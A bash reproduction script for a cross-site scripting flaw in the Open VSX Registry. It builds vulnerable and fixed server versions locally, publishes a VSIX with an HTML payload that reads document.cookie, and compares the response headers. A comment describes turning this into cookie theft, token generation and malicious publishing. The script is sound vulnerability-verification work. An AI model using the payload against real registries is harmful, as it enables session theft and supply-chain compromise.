#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-13323 Reproduction Script
# Open VSX Registry serves HTML inline enabling session/token exfiltration
#
# This script builds and runs the REAL Open VSX Registry server (v1.0.1 
# vulnerable and v1.0.2 fixed), publishes a VSIX containing a crafted HTML
# payload, and verifies that the /vscode/unpkg/ endpoint serves the HTML
# file with dangerous headers (vulnerable) vs safe headers (fixed).
# =============================================================================

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

# Configuration
VULN_TAG="v1.0.1"
FIXED_TAG="v1.0.2"
PG_CONTAINER="openvsx-pg-repro"
BUILDER_CONTAINER="openvsx-builder-repro"
RUNTIME_CONTAINER="openvsx-runtime-repro"
PG_PORT=5434
NAMESPACE="testpub"
EXTENSION="testext"
VERSION="1.0.0"

# Track results
VULN_RESULT="unknown"
FIXED_RESULT="unknown"

log() {
    echo "[$(date -u +%Y-%m-%dT%H:%M:%SZ)] $*" | tee -a "$LOGS/reproduction_steps.log"
}

cleanup() {
    log "Cleaning up Docker containers..."
    docker rm -f "$PG_CONTAINER" "$BUILDER_CONTAINER" "$RUNTIME_CONTAINER" 2>/dev/null || true
}
trap cleanup EXIT

# =============================================================================
# Step 1: Create the test VSIX with a crafted HTML payload
# =============================================================================
log "Step 1: Creating test VSIX with HTML payload..."

cat > "$LOGS/create_vsix.py" << 'PYEOF'
import zipfile
import os

vsix_path = "testpub.testext-1.0.0.vsix"

content_types = '''<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="json" ContentType="application/json"/>
  <Default Extension="html" ContentType="text/html"/>
  <Default Extension="vsixmanifest" ContentType="text/xml"/>
</Types>'''

vsixmanifest = '''<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
  <Metadata>
    <Identity Language="en-US" Id="testext" Version="1.0.0" Publisher="testpub"/>
    <DisplayName>Test Extension</DisplayName>
    <Description xml:space="preserve">Test extension for CVE reproduction</Description>
    <Tags>__ext_testext</Tags>
    <Categories>Other</Categories>
    <GalleryFlags>Public</GalleryFlags>
    <Properties>
      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.51.1" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />
      <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />
    </Properties>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
  </Installation>
  <Dependencies/>
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>'''

package_json = '''{
  "name": "testext",
  "displayName": "Test Extension",
  "description": "Test extension for CVE reproduction",
  "publisher": "testpub",
  "version": "1.0.0",
  "engines": { "vscode": "^1.51.1" },
  "categories": ["Other"],
  "main": "./out/extension.js",
  "contributes": {
    "commands": [{ "command": "testext.hello", "title": "Hello World" }]
  }
}'''

html_payload = '''<!DOCTYPE html>
<html>
<head><title>OpenVSX Inline HTML PoC</title></head>
<body>
<h1>CVE-2026-13323 PoC</h1>
<p>This HTML file is served inline from the open-vsx.org origin.</p>
<script>
// In a real attack, this script runs in the open-vsx.org origin context
// and can access session cookies, generate PATs, and publish malicious extensions.
document.title = "EXFIL: " + document.cookie;
var proof = document.createElement("div");
proof.id = "poc-proof";
proof.innerText = "JS_EXECUTED_IN_REGISTRY_ORIGIN cookies=" + document.cookie;
document.body.appendChild(proof);
</script>
</body>
</html>'''

extension_js = '// Minimal extension entry point\nexports.activate = function() {};\nexports.deactivate = function() {};'

with zipfile.ZipFile(vsix_path, 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('[Content_Types].xml', content_types)
    z.writestr('extension.vsixmanifest', vsixmanifest)
    z.writestr('extension/package.json', package_json)
    z.writestr('extension/payload.html', html_payload)
    z.writestr('extension/out/extension.js', extension_js)

print(f"Created {vsix_path} ({os.path.getsize(vsix_path)} bytes)")
PYEOF

python3 "$LOGS/create_vsix.py" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
VSIX_FILE="$(pwd)/testpub.testext-1.0.0.vsix"
log "VSIX created at $VSIX_FILE"

# =============================================================================
# Step 2: Create the application.yml for the server runtime
# =============================================================================
log "Step 2: Creating application.yml..."

cat > "$LOGS/application.yml" << YAMLEOF
logging:
  level:
    root: "info"
    org.eclipse.openvsx: "info"
server:
  port: 8080
spring:
  application:
    name: openvsx-server
  autoconfigure:
    exclude: org.springframework.boot.actuate.autoconfigure.tracing.zipkin.ZipkinAutoConfiguration
  datasource:
    url: jdbc:postgresql://localhost:${PG_PORT}/postgres
    username: openvsx
    password: openvsx
  flyway:
    baseline-on-migrate: true
    baseline-version: 0.1.0
    baseline-description: JobRunr tables
  jpa:
    open-in-view: false
    hibernate:
      ddl-auto: none
  session:
    store-type: jdbc
    jdbc:
      initialize-schema: never
  thymeleaf:
    enabled: false
  security:
    oauth2:
      client:
        registration:
          github:
            client-id: dummy-client-id
            client-secret: dummy-client-secret
management:
  health:
    livenessstate: { enabled: false }
    readinessstate: { enabled: false }
    redis: { enabled: false }
    elasticsearch: { enabled: false }
org:
  jobrunr:
    job-scheduler: { enabled: true }
    background-job-server: { enabled: false }
    dashboard: { enabled: false }
    database: { type: sql }
    miscellaneous: { allow-anonymous-data-usage: false }
bucket4j: { enabled: false }
ovsx:
  databasesearch: { enabled: true }
  elasticsearch: { enabled: false, clear-on-start: true }
  redis: { enabled: false }
  eclipse: { base-url: https://api.eclipse.org, publisher-agreement: { timezone: US/Eastern } }
  extension-control: { update-on-start: false }
  integrity: { key-pair: undefined }
  registry: { version: repro }
  storage: { local: { directory: /tmp/openvsx-storage } }
  access-token: { prefix: dev_ovsxat_, expiration: 0, notification: 0 }
  mail: { from: no-reply@example.com }
  rate-limit: { enabled: false }
  scanning:
    enabled: false
    max-archive-size-bytes: 1073741824
    max-single-file-bytes: 268435456
    max-entry-count: 100000
    blocklist-check: { enabled: false, enforced: false, required: false }
    similarity: { enabled: false, enforced: false, required: false }
    secret-detection: { enabled: false, enforced: false, required: false }
YAMLEOF

log "Application config created"

# =============================================================================
# Step 3: Start PostgreSQL
# =============================================================================
log "Step 3: Starting PostgreSQL on port $PG_PORT..."
docker rm -f "$PG_CONTAINER" 2>/dev/null || true
docker run -d --name "$PG_CONTAINER" \
    -e POSTGRES_USER=openvsx \
    -e POSTGRES_PASSWORD=openvsx \
    -e POSTGRES_DB=postgres \
    -p "$PG_PORT:5432" \
    postgres:16.2 >> "$LOGS/reproduction_steps.log" 2>&1

sleep 5
log "PostgreSQL started"

# =============================================================================
# Step 4: Build both versions of the server
# =============================================================================
build_server() {
    local tag="$1"
    local jar_out="$2"
    
    log "Building server $tag..."
    
    # Clone the repo
    local repo_tmp="/tmp/openvsx-src-$tag"
    rm -rf "$repo_tmp"
    git clone --quiet --branch "$tag" --depth 1 https://github.com/eclipse-openvsx/openvsx.git "$repo_tmp" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Copy source into builder container
    docker rm -f "$BUILDER_CONTAINER" 2>/dev/null || true
    docker run -d --name "$BUILDER_CONTAINER" -w /work gradle:jdk-25-and-25 sleep 3600 >> "$LOGS/reproduction_steps.log" 2>&1
    docker cp "$repo_tmp/server/." "$BUILDER_CONTAINER:/work/" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Build
    docker exec "$BUILDER_CONTAINER" bash -c "cd /work && CI=true ./gradlew --no-daemon bootJar -x jooqCodegen -x test --stacktrace" >> "$LOGS/build_$tag.log" 2>&1
    local build_exit=$?
    
    if [ $build_exit -ne 0 ]; then
        log "ERROR: Build failed for $tag (exit $build_exit). See $LOGS/build_$tag.log"
        docker rm -f "$BUILDER_CONTAINER" 2>/dev/null || true
        return 1
    fi
    
    # Copy jar out
    docker cp "$BUILDER_CONTAINER:/work/build/libs/openvsx-server.jar" "$jar_out" >> "$LOGS/reproduction_steps.log" 2>&1
    docker rm -f "$BUILDER_CONTAINER" 2>/dev/null || true
    log "Build $tag succeeded: $jar_out ($(du -h "$jar_out" | cut -f1))"
    return 0
}

build_server "$VULN_TAG" "$LOGS/openvsx-server-v1.0.1.jar"
build_server "$FIXED_TAG" "$LOGS/openvsx-server-v1.0.2.jar"

# =============================================================================
# Step 5: Test function - run server, publish extension, check headers
# =============================================================================
test_server_version() {
    local version_label="$1"
    local jar_path="$2"
    local result_file="$3"
    
    log "Testing $version_label..."
    
    # Reset PostgreSQL
    docker exec "$PG_CONTAINER" psql -U openvsx -d postgres -c \
        "DROP SCHEMA public CASCADE; CREATE SCHEMA public; GRANT ALL ON SCHEMA public TO openvsx; GRANT ALL ON SCHEMA public TO public;" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Start runtime container
    docker rm -f "$RUNTIME_CONTAINER" 2>/dev/null || true
    docker run -d --name "$RUNTIME_CONTAINER" --network host -w /app eclipse-temurin:25-jdk sleep 3600 >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Install curl
    docker exec "$RUNTIME_CONTAINER" bash -c "apt-get update -qq && apt-get install -y -qq curl > /dev/null 2>&1" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Copy jar and config
    docker cp "$jar_path" "$RUNTIME_CONTAINER:/app/openvsx-server.jar" >> "$LOGS/reproduction_steps.log" 2>&1
    docker cp "$LOGS/application.yml" "$RUNTIME_CONTAINER:/app/application.yml" >> "$LOGS/reproduction_steps.log" 2>&1
    docker cp "$VSIX_FILE" "$RUNTIME_CONTAINER:/app/test.vsix" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Clean storage
    docker exec "$RUNTIME_CONTAINER" bash -c "rm -rf /tmp/openvsx-storage && mkdir -p /tmp/openvsx-storage" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Start server
    docker exec -d "$RUNTIME_CONTAINER" bash -c \
        "cd /app && java --enable-native-access=ALL-UNNAMED -Dorg.jooq.no-logo=true -Dorg.jooq.no-tips=true -jar openvsx-server.jar --spring.config.location=file:/app/application.yml > /app/server.log 2>&1"
    
    # Wait for server to start
    log "Waiting for $version_label server to start..."
    local max_wait=60
    local waited=0
    while [ $waited -lt $max_wait ]; do
        local health
        health=$(docker exec "$RUNTIME_CONTAINER" bash -c "curl -s http://localhost:8080/actuator/health 2>/dev/null" || echo "")
        if echo "$health" | grep -q '"status":"UP"'; then
            log "Server $version_label is healthy"
            break
        fi
        sleep 3
        waited=$((waited + 3))
    done
    
    if [ $waited -ge $max_wait ]; then
        log "ERROR: Server $version_label did not become healthy"
        docker exec "$RUNTIME_CONTAINER" bash -c "tail -20 /app/server.log" >> "$LOGS/server_${version_label}.log" 2>&1
        docker rm -f "$RUNTIME_CONTAINER" 2>/dev/null || true
        return 1
    fi
    
    # Save server log
    docker exec "$RUNTIME_CONTAINER" bash -c "cat /app/server.log" > "$LOGS/server_${version_label}.log" 2>&1
    
    # Insert user and token
    docker exec "$PG_CONTAINER" psql -U openvsx -d postgres -c \
        "INSERT INTO user_data (id, login_name, full_name, email) VALUES (1001, 'test_user', 'Test User', 'test@example.com');
         INSERT INTO personal_access_token (id, user_data, value, active, created_timestamp, accessed_timestamp, description, notified)
         VALUES (1001, 1001, 'test_token', true, current_timestamp, current_timestamp, 'Repro test', false);" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Create namespace
    local ns_result
    ns_result=$(docker exec "$RUNTIME_CONTAINER" bash -c \
        "curl -s -X POST 'http://localhost:8080/api/-/namespace/create?token=test_token' -H 'Content-Type: application/json' -d '{\"name\":\"$NAMESPACE\"}'")
    log "Namespace creation: $ns_result"
    
    # Publish extension
    local pub_result
    pub_result=$(docker exec "$RUNTIME_CONTAINER" bash -c \
        "curl -s -X POST 'http://localhost:8080/api/-/publish?token=test_token' -H 'Content-Type: application/octet-stream' --data-binary @/app/test.vsix")
    log "Publish result: $(echo "$pub_result" | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d.get("name","?"), d.get("version","?"))' 2>/dev/null || echo 'parse error')"
    
    # Wait a moment for processing
    sleep 3
    
    # Request the HTML file via /vscode/unpkg/
    local unpkg_url="http://localhost:8080/vscode/unpkg/$NAMESPACE/$EXTENSION/$VERSION/extension/payload.html"
    log "Requesting: $unpkg_url"
    
    docker exec "$RUNTIME_CONTAINER" bash -c \
        "curl -s -D /tmp/headers.txt -o /tmp/body.html '$unpkg_url'" >> "$LOGS/reproduction_steps.log" 2>&1
    
    # Capture headers and body
    docker exec "$RUNTIME_CONTAINER" bash -c "cat /tmp/headers.txt" > "$LOGS/${version_label}_headers.txt" 2>&1
    docker exec "$RUNTIME_CONTAINER" bash -c "cat /tmp/body.html" > "$LOGS/${version_label}_body.html" 2>&1
    
    # Display headers
    log "=== $version_label Response Headers ==="
    cat "$LOGS/${version_label}_headers.txt" | tee -a "$LOGS/reproduction_steps.log"
    
    # Analyze headers using Python for reliable JSON generation
    python3 -c "
import json, re

headers_file = '$LOGS/${version_label}_headers.txt'
with open(headers_file, 'r') as f:
    content = f.read()

content_type = ''
csp_value = ''
has_csp = 0
has_disposition = 0

for line in content.splitlines():
    line = line.strip()
    if line.lower().startswith('content-type:'):
        content_type = line.split(':', 1)[1].strip()
    elif line.lower().startswith('content-security-policy:'):
        csp_value = line.split(':', 1)[1].strip()
        has_csp = 1
    elif line.lower().startswith('content-disposition:'):
        has_disposition = 1

result = {
    'version_label': '$version_label',
    'content_type': content_type,
    'has_csp': has_csp,
    'csp_value': csp_value,
    'has_content_disposition': has_disposition
}

with open('$result_file', 'w') as f:
    json.dump(result, f, indent=2)

print(f'Content-Type: {content_type}')
print(f'Has CSP: {has_csp} ({csp_value})')
print(f'Has Content-Disposition: {has_disposition}')
" 2>&1 | tee -a "$LOGS/reproduction_steps.log"
    
    # Verify the HTML body was served
    local body_size
    body_size=$(wc -c < "$LOGS/${version_label}_body.html")
    log "$version_label - Response body size: $body_size bytes"
    
    if [ "$body_size" -lt 50 ]; then
        log "ERROR: Response body too small, file not served correctly"
        docker rm -f "$RUNTIME_CONTAINER" 2>/dev/null || true
        return 1
    fi
    
    # Stop server
    docker exec "$RUNTIME_CONTAINER" bash -c "pkill -f 'openvsx-server.jar'" >> "$LOGS/reproduction_steps.log" 2>&1 || true
    sleep 2
    docker rm -f "$RUNTIME_CONTAINER" 2>/dev/null || true
    
    return 0
}

# =============================================================================
# Step 6: Test vulnerable version (v1.0.1)
# =============================================================================
test_server_version "vuln_v1.0.1" "$LOGS/openvsx-server-v1.0.1.jar" "$LOGS/vuln_analysis.json"
VULN_RESULT="tested"

# =============================================================================
# Step 7: Test fixed version (v1.0.2)
# =============================================================================
test_server_version "fixed_v1.0.2" "$LOGS/openvsx-server-v1.0.2.jar" "$LOGS/fixed_analysis.json"
FIXED_RESULT="tested"

# =============================================================================
# Step 8: Analyze results and determine verdict
# =============================================================================
log "Step 8: Analyzing results..."

VULN_CT=$(python3 -c "import json; d=json.load(open('$LOGS/vuln_analysis.json')); print(d['content_type'])")
VULN_CSP=$(python3 -c "import json; d=json.load(open('$LOGS/vuln_analysis.json')); print(d['has_csp'])")
VULN_CD=$(python3 -c "import json; d=json.load(open('$LOGS/vuln_analysis.json')); print(d['has_content_disposition'])")

FIXED_CT=$(python3 -c "import json; d=json.load(open('$LOGS/fixed_analysis.json')); print(d['content_type'])")
FIXED_CSP=$(python3 -c "import json; d=json.load(open('$LOGS/fixed_analysis.json')); print(d['has_csp'])")

log "=== VULNERABLE (v1.0.1) ==="
log "  Content-Type: $VULN_CT"
log "  Has CSP: $VULN_CSP"
log "  Has Content-Disposition: $VULN_CD"
log ""
log "=== FIXED (v1.0.2) ==="
log "  Content-Type: $FIXED_CT"
log "  Has CSP: $FIXED_CSP"
log ""

# Determine vulnerability
VULN_IS_HTML=false
VULN_NO_CSP=false
FIXED_IS_SAFE=false

if echo "$VULN_CT" | grep -qi "text/html"; then
    VULN_IS_HTML=true
fi
if [ "$VULN_CSP" = "0" ]; then
    VULN_NO_CSP=true
fi
if echo "$FIXED_CT" | grep -qi "text/plain" && [ "$FIXED_CSP" != "0" ]; then
    FIXED_IS_SAFE=true
fi

log "Vulnerable serves text/html: $VULN_IS_HTML"
log "Vulnerable has no CSP: $VULN_NO_CSP"
log "Fixed serves text/plain with CSP: $FIXED_IS_SAFE"

CONFIRMED=false
if [ "$VULN_IS_HTML" = "true" ] && [ "$VULN_NO_CSP" = "true" ] && [ "$FIXED_IS_SAFE" = "true" ]; then
    CONFIRMED=true
    log "*** VULNERABILITY CONFIRMED ***"
    log "The /vscode/unpkg/ endpoint in v1.0.1 serves HTML files with Content-Type: text/html"
    log "and no Content-Security-Policy header, enabling inline HTML rendering and JS execution."
    log "The fixed v1.0.2 serves the same file as text/plain with strict CSP."
else
    log "WARNING: Results do not match expected vulnerability pattern"
fi

# Write the verdict to a summary file for reference
cat > "$LOGS/reproduction_verdict.txt" << EOF
CVE-2026-13323 Reproduction Verdict
====================================
Vulnerable version: $VULN_TAG
Fixed version: $FIXED_TAG

VULNERABLE ($VULN_TAG) headers for /vscode/unpkg/.../payload.html:
  Content-Type: $VULN_CT
  Content-Security-Policy: $([ "$VULN_CSP" = "0" ] && echo "MISSING" || echo "present")
  Content-Disposition: $([ "$VULN_CD" = "0" ] && echo "MISSING" || echo "present")

FIXED ($FIXED_TAG) headers for /vscode/unpkg/.../payload.html:
  Content-Type: $FIXED_CT
  Content-Security-Policy: $([ "$FIXED_CSP" = "0" ] && echo "MISSING" || echo "present")

Vulnerability confirmed: $CONFIRMED
EOF

cat "$LOGS/reproduction_verdict.txt" | tee -a "$LOGS/reproduction_steps.log"

# =============================================================================
# Step 9: Write runtime manifest
# =============================================================================
log "Step 9: Writing runtime manifest..."

if [ "$CONFIRMED" = "true" ]; then
    python3 -c "
import json
manifest = {
    'entrypoint_kind': 'api_remote',
    'entrypoint_detail': 'HTTP GET /vscode/unpkg/{namespace}/{extension}/{version}/{path} - serves files from VSIX packages',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': True,
    'runtime_stack': ['postgresql-16.2', 'openvsx-server-spring-boot-jetty', 'jdk-25'],
    'proof_artifacts': [
        'logs/vuln_v1.0.1_headers.txt',
        'logs/vuln_v1.0.1_body.html',
        'logs/fixed_v1.0.2_headers.txt',
        'logs/fixed_v1.0.2_body.html',
        'logs/reproduction_verdict.txt',
        'logs/vuln_analysis.json',
        'logs/fixed_analysis.json',
        'logs/server_vuln_v1.0.1.log',
        'logs/server_fixed_v1.0.2.log'
    ],
    'notes': 'Real Open VSX Registry server built from source (v1.0.1 and v1.0.2), running with PostgreSQL. Published VSIX with HTML payload and verified /vscode/unpkg/ endpoint response headers. Vulnerable version serves text/html with no CSP; fixed version serves text/plain with strict CSP.'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print('Runtime manifest written')
"
else
    python3 -c "
import json
manifest = {
    'entrypoint_kind': 'api_remote',
    'entrypoint_detail': 'HTTP GET /vscode/unpkg/{namespace}/{extension}/{version}/{path}',
    'service_started': True,
    'healthcheck_passed': True,
    'target_path_reached': True,
    'runtime_stack': ['postgresql-16.2', 'openvsx-server-spring-boot-jetty', 'jdk-25'],
    'proof_artifacts': [
        'logs/vuln_v1.0.1_headers.txt',
        'logs/fixed_v1.0.2_headers.txt',
        'logs/reproduction_verdict.txt'
    ],
    'notes': 'Reproduction ran but results did not fully match expected pattern. See logs for details.'
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print('Runtime manifest written (inconclusive)')
"
fi

log "Reproduction script complete. Confirmed: $CONFIRMED"

if [ "$CONFIRMED" = "true" ]; then
    exit 0
else
    exit 1
fi
